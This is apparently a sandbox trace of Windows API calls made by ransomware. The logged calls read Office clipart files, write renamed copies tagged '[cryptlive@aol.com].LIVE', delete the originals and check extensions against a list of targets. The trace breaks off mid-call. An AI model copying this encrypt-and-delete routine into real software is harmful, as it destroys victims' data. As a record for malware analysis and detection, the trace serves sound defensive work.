[0141.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0141.959] GetLastError () returned 0x0 [0141.959] ReadFile (in: hFile=0x3b4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x1034, lpOverlapped=0x0) returned 1 [0141.962] WriteFile (in: hFile=0x3a4, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x1040, lpOverlapped=0x0) returned 1 [0141.963] ReadFile (in: hFile=0x3b4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0141.963] WriteFile (in: hFile=0x3a4, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.963] SetEndOfFile (hFile=0x3a4) returned 1 [0141.963] CloseHandle (hObject=0x3a4) returned 1 [0141.963] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.963] SetEndOfFile (hFile=0x3b4) returned 1 [0141.968] CloseHandle (hObject=0x3b4) returned 1 [0141.968] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.968] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf")) returned 1 [0141.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0141.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0141.969] lstrlenW (lpString=".doc") returned 4 [0141.969] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.969] lstrlenW (lpString=".docx") returned 5 [0141.969] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.969] lstrlenW (lpString=".pdf") returned 4 [0141.969] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.969] lstrlenW (lpString=".xls") returned 4 [0141.969] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.969] lstrlenW (lpString=".xlsx") returned 5 [0141.969] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.969] lstrlenW (lpString=".ppt") returned 4 [0141.969] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0141.969] lstrlenW (lpString=".zip") returned 4 [0141.969] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.969] lstrlenW (lpString=".rar") returned 4 [0141.969] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.969] lstrlenW (lpString=".bz2") returned 4 [0141.969] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.969] lstrlenW (lpString=".7z") returned 3 [0141.969] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0141.969] lstrlenW (lpString=".dbf") returned 4 [0141.969] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0141.969] lstrlenW (lpString=".1cd") returned 4 [0141.969] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0141.969] lstrlenW (lpString=".jpg") returned 4 [0141.969] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0141.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0141.970] lstrlenW (lpString=".doc") returned 4 [0141.970] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.970] lstrlenW (lpString=".docx") returned 5 [0141.970] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.970] lstrlenW (lpString=".pdf") returned 4 [0141.970] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.970] lstrlenW (lpString=".xls") returned 4 [0141.970] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.970] lstrlenW (lpString=".xlsx") returned 5 [0141.970] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.970] lstrlenW (lpString=".ppt") returned 4 [0141.970] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0141.970] lstrlenW (lpString=".zip") returned 4 [0141.970] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.970] lstrlenW (lpString=".rar") returned 4 [0141.970] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.970] lstrlenW (lpString=".bz2") returned 4 [0141.970] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.970] lstrlenW (lpString=".7z") returned 3 [0141.970] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0141.970] lstrlenW (lpString=".dbf") returned 4 [0141.970] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0142.005] lstrlenW (lpString=".1cd") returned 4 [0142.005] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0142.005] lstrlenW (lpString=".jpg") returned 4 [0142.006] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.006] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0142.006] lstrlenW (lpString="DD01772_.WMF") returned 12 [0142.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0142.009] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=2300) returned 1 [0142.009] CloseHandle (hObject=0x380) returned 1 [0142.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf")) returned 0x20 [0142.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0142.009] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0142.009] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0142.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0142.011] GetLastError () returned 0x0 [0142.011] ReadFile (in: hFile=0x380, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x8fc, lpOverlapped=0x0) returned 1 [0142.135] WriteFile (in: hFile=0x394, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x900, lpOverlapped=0x0) returned 1 [0142.136] ReadFile (in: hFile=0x380, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0142.136] WriteFile (in: hFile=0x394, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0142.136] SetEndOfFile (hFile=0x394) returned 1 [0142.136] CloseHandle (hObject=0x394) returned 1 [0142.136] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0142.136] SetEndOfFile (hFile=0x380) returned 1 [0142.138] CloseHandle (hObject=0x380) returned 1 [0142.139] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.165] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf")) returned 1 [0142.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0142.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0142.234] lstrlenW (lpString=".doc") returned 4 [0142.234] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.234] lstrlenW (lpString=".docx") returned 5 [0142.234] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.234] lstrlenW (lpString=".pdf") returned 4 [0142.234] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.234] lstrlenW (lpString=".xls") returned 4 [0142.234] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.234] lstrlenW (lpString=".xlsx") returned 5 [0142.234] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.234] lstrlenW (lpString=".ppt") returned 4 [0142.234] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0142.234] lstrlenW (lpString=".zip") returned 4 [0142.234] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.234] lstrlenW (lpString=".rar") returned 4 [0142.234] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.234] lstrlenW (lpString=".bz2") returned 4 [0142.234] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.234] lstrlenW (lpString=".7z") returned 3 [0142.234] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0142.234] lstrlenW (lpString=".dbf") returned 4 [0142.234] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0142.234] lstrlenW (lpString=".1cd") returned 4 [0142.234] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0142.234] lstrlenW (lpString=".jpg") returned 4 [0142.234] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0142.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0142.235] lstrlenW (lpString=".doc") returned 4 [0142.235] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.235] lstrlenW (lpString=".docx") returned 5 [0142.235] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.235] lstrlenW (lpString=".pdf") returned 4 [0142.235] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.235] lstrlenW (lpString=".xls") returned 4 [0142.235] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.235] lstrlenW (lpString=".xlsx") returned 5 [0142.235] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.235] lstrlenW (lpString=".ppt") returned 4 [0142.235] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0142.235] lstrlenW (lpString=".zip") returned 4 [0142.235] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.235] lstrlenW (lpString=".rar") returned 4 [0142.235] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.235] lstrlenW (lpString=".bz2") returned 4 [0142.235] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.235] lstrlenW (lpString=".7z") returned 3 [0142.235] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0142.235] lstrlenW (lpString=".dbf") returned 4 [0142.235] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0142.235] lstrlenW (lpString=".1cd") returned 4 [0142.235] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0142.235] lstrlenW (lpString=".jpg") returned 4 [0142.235] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.236] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0142.236] lstrlenW (lpString="EN00319_.WMF") returned 12 [0142.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0142.236] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=2280) returned 1 [0142.236] CloseHandle (hObject=0x394) returned 1 [0142.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf")) returned 0x20 [0142.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0142.237] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0142.237] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0142.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0142.937] GetLastError () returned 0x0 [0142.937] ReadFile (in: hFile=0x394, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x8e8, lpOverlapped=0x0) returned 1 [0142.939] WriteFile (in: hFile=0x328, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x8f0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x8f0, lpOverlapped=0x0) returned 1 [0142.940] ReadFile (in: hFile=0x394, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0142.940] WriteFile (in: hFile=0x328, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0142.940] SetEndOfFile (hFile=0x328) returned 1 [0142.940] CloseHandle (hObject=0x328) returned 1 [0142.940] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0142.940] SetEndOfFile (hFile=0x394) returned 1 [0142.944] CloseHandle (hObject=0x394) returned 1 [0142.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.945] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00319_.wmf")) returned 1 [0142.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0142.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0142.945] lstrlenW (lpString=".doc") returned 4 [0142.946] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.946] lstrlenW (lpString=".docx") returned 5 [0142.946] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.946] lstrlenW (lpString=".pdf") returned 4 [0142.946] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.946] lstrlenW (lpString=".xls") returned 4 [0142.946] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.946] lstrlenW (lpString=".xlsx") returned 5 [0142.946] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.946] lstrlenW (lpString=".ppt") returned 4 [0142.946] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0142.946] lstrlenW (lpString=".zip") returned 4 [0142.946] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.946] lstrlenW (lpString=".rar") returned 4 [0142.946] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.946] lstrlenW (lpString=".bz2") returned 4 [0142.946] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.946] lstrlenW (lpString=".7z") returned 3 [0142.946] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0142.946] lstrlenW (lpString=".dbf") returned 4 [0142.946] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0142.946] lstrlenW (lpString=".1cd") returned 4 [0142.946] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0142.946] lstrlenW (lpString=".jpg") returned 4 [0142.946] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0142.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0142.946] lstrlenW (lpString=".doc") returned 4 [0142.946] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.946] lstrlenW (lpString=".docx") returned 5 [0142.946] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.947] lstrlenW (lpString=".pdf") returned 4 [0142.947] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.947] lstrlenW (lpString=".xls") returned 4 [0142.947] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.947] lstrlenW (lpString=".xlsx") returned 5 [0142.947] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.947] lstrlenW (lpString=".ppt") returned 4 [0142.947] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0142.947] lstrlenW (lpString=".zip") returned 4 [0142.947] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.947] lstrlenW (lpString=".rar") returned 4 [0142.947] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.947] lstrlenW (lpString=".bz2") returned 4 [0142.947] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.947] lstrlenW (lpString=".7z") returned 3 [0142.947] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0142.947] lstrlenW (lpString=".dbf") returned 4 [0142.947] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0142.947] lstrlenW (lpString=".1cd") returned 4 [0142.947] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00319_.WMF") returned 63 [0142.947] lstrlenW (lpString=".jpg") returned 4 [0142.947] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.947] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0142.947] lstrlenW (lpString="EN00320_.WMF") returned 12 [0142.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0142.948] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=736) returned 1 [0142.948] CloseHandle (hObject=0x394) returned 1 [0142.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf")) returned 0x20 [0142.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0142.948] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0142.949] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0142.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0142.949] GetLastError () returned 0x0 [0142.949] ReadFile (in: hFile=0x394, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x2e0, lpOverlapped=0x0) returned 1 [0142.951] WriteFile (in: 